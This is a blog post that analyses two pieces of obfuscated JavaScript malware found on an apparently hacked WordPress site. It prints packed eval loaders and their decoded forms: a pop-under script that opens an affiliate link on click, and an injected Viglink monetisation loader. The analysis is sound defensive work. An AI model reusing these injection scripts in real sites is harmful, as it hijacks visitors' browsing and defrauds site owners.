Deobfuscating JavaScript Malware

Last week I came across an article about protecting your site from cryptojacking with CSP + SRI. In the article it showed a crypto mining malware which surprised in how it was made. Having seen examples of obfuscated JavaScript where code is hidden in base64 encoded strings, this one was completely done in hexadecimal strings. What was strange is that:


  window["document"]["write"]

would be interpreted and executed as:


  window["document"]["write"]

How does this work? I have no idea, and will look into it in depth possibly in another article.

This got me curious to see how much is this used, and the easiest way to find out is to google it. Results from the above query was a staggering 2,580,000 results! Itching for alternate results I tried query other interesting ways; <script> returned 716,000 results. And doing function returned 324,000 results.

A lot of the first page results are from sites about cybersecurity or malware analysis. But digging through the pages I started spotting infected websites. Randomly choosing a site and opening it through google's cache I began digging through the source. Immediately I spotted two things, the malware and the site is running in WordPress. I have nothing strongly against WordPress, it's just one of those sites that you have to always be on top of, ensuring you keep it up to date and have a strong firewall in place. The site, which seems like it was last updated in 2011, unfortunately got caught by the malware due to a vulnerability. There seems no urgent need to contact this business as this site seems to be an online corpse, anyways I went ahead and analyzed the malware.

The following malware were found:

Obfuscated malware 1:


  var _0x3fdb=["9 b(k)",...shorten for breathability..."\x77+","\x62","g"];
  eval(
    function(_0x3e49x1,_0x3e49x2,_0x3e49x3,_0x3e49x4,_0x3e49x5,_0x3e49x6) {
      _0x3e49x5 = function(_0x3e49x3) {
      return (
        _0x3e49x3< _0x3e49x2?_0x3fdb[4]:_0x3e49x5(parseInt(_0x3e49x3/ _0x3e49x2))
      )+ ((_0x3e49x3= _0x3e49x3% _0x3e49x2)> 35?String[_0x3fdb[5]](_0x3e49x3+ 29):_0x3e49x3.toString(36))
    };

    if(!_0x3fdb[4][_0x3fdb[6]](/^/,String)) {
      while(_0x3e49x3--) {
        _0x3e49x6[_0x3e49x5(_0x3e49x3)] = _0x3e49x4[_0x3e49x3]|| _0x3e49x5(_0x3e49x3)
      };

      _0x3e49x4= [
        function(_0x3e49x5){
          return _0x3e49x6[_0x3e49x5]
        }
      ];

      _0x3e49x5= function() {
        return _0x3fdb[7]
      };

      _0x3e49x3= 1
    };

    while(_0x3e49x3--) {
      if(_0x3e49x4[_0x3e49x3]) {
      _0x3e49x1= _0x3e49x1[_0x3fdb[6]]( new RegExp(_0x3fdb[8]+ _0x3e49x5(_0x3e49x3)+ _0x3fdb[8],_0x3fdb[9]),_0x3e49x4[_0x3e49x3])
      }
    };

    return _0x3e49x1

    }(_0x3fdb[0],62,63,_0x3fdb[3][_0x3fdb[2]](_0x3fdb[1]),0,{})
  );

Obfuscated malware 2:


  var _0xc3ce=["2 5={a:'",...shorten for breathability..."\x77+","\x62","g"];
  eval(
    function(_0xf262x1,_0xf262x2,_0xf262x3,_0xf262x4,_0xf262x5,_0xf262x6) {
      _0xf262x5= function(_0xf262x3) {
      return _0xf262x3.toString(36)
    };

    if(!_0xc3ce[5][_0xc3ce[4]](/^/,String)) {
      while(_0xf262x3--){
        _0xf262x6[_0xf262x3.toString(_0xf262x2)]= _0xf262x4[_0xf262x3]|| _0xf262x3.toString(_0xf262x2)};
        _0xf262x4= [function(_0xf262x5){return _0xf262x6[_0xf262x5]}];
        _0xf262x5= function(){
        return _0xc3ce[6]
      };
      _0xf262x3= 1
    };

    while(_0xf262x3--){
      if(_0xf262x4[_0xf262x3]){
        _0xf262x1= _0xf262x1[_0xc3ce[4]]( new RegExp(_0xc3ce[7]+ _0xf262x5(_0xf262x3)+ _0xc3ce[7],_0xc3ce[8]),_0xf262x4[_0xf262x3])
      }
    };

    return _0xf262x1

    }(_0xc3ce[0],27,27,_0xc3ce[3][_0xc3ce[2]](_0xc3ce[1]),0,{})
  )

The hex string are shortened as they are quite long. What we can tell from the following code is that the eval is going to execute what the function argument is going to return which looks like it will translate the hex into something JS readable. To tell, is by looking at the toString functions used. Since it's iterating through the hex and converting them to string, it was an assuming guess to know what it is trying to do. Changingeval to console.log we can see the returned result and not execute the malicious code.

Debfuscated malware 1:


  function getCookie(name){
    var value="; "+document.cookie;
    var parts=value.split("; "+name+"=");
    if(parts.length==2)return parts.pop().split(";").shift();else return false
  }
  var idToRedirect=document.currentScript.getAttribute('id');
  var isToChrome=document.currentScript.getAttribute('data-type');
  var contn=0;
  if(isToChrome==1){
    if(navigator.userAgent.indexOf("Chrome")!=-1){
      var contn=1
    }
  } else {
    var contn=1
  }
  if(contn==1&&!getCookie("clickund_expert")){
    window.onload=function(){
      document.body.addEventListener('click',function(event){
        var now=new Date();
        var time=now.getTime();
        time+=3600*1000;
        now.setTime(time);
        document.cookie="clickund_expert=1; "+now.toUTCString()+";path=/";
        window.open('http://1aqy.xn--o1aqy.xn--p1ai/stats/fri.php?affid=79803');
        this.removeEventListener('click',arguments.callee,false)
      })
    }
  }

Quickly analyzing the malware we can safely assume that it's a pop-under malware. Pop-under's are those annoying pop-ups that are hidden behind a window. Often are found by a blink of a window when clicking the page or when you close your browser window to find another browser window open.

Debfuscated malware 2:


  var vglnk={key:'ca8b3984fdf6c76dc2fe...muted'};
  (function(d,t){
    var s=d.createElement(t);
    s.type='text/javascript';
    s.async=true;
    s.src='//cdn.viglink.com/api/vglnk.js';
    var r=d.getElementsByTagName(t)[0];
    r.parentNode.insertBefore(s,r)
  }(document,'script'));

The second malware got me a little confused. After researching a little on Viglink it's an outbound-traffic monetization service for publishers, forums, and bloggers [sourced from Wikipedia]. It's hard for me to believe that the original site owner had this script setup themselves as this could be done by hiding the API key via the backend, so I can assume that some cheeky person has used a cross site scripting attack to gain some monetization off infected sites. But for the sake of privacy I've muted out the last few digits of the API key.

I guess the take away from this article is to always update your WordPress website to prevent cheeky scripts like these.

Closing notes

This has been a fun little exercise and I plan to revisit this again as the malware found didn't execute the code in hexadecimal, which is what I saw in the article found last week. So apologies for going side ways a bit but I thought that it still holds some value, rather than scrapping it and start writing it again.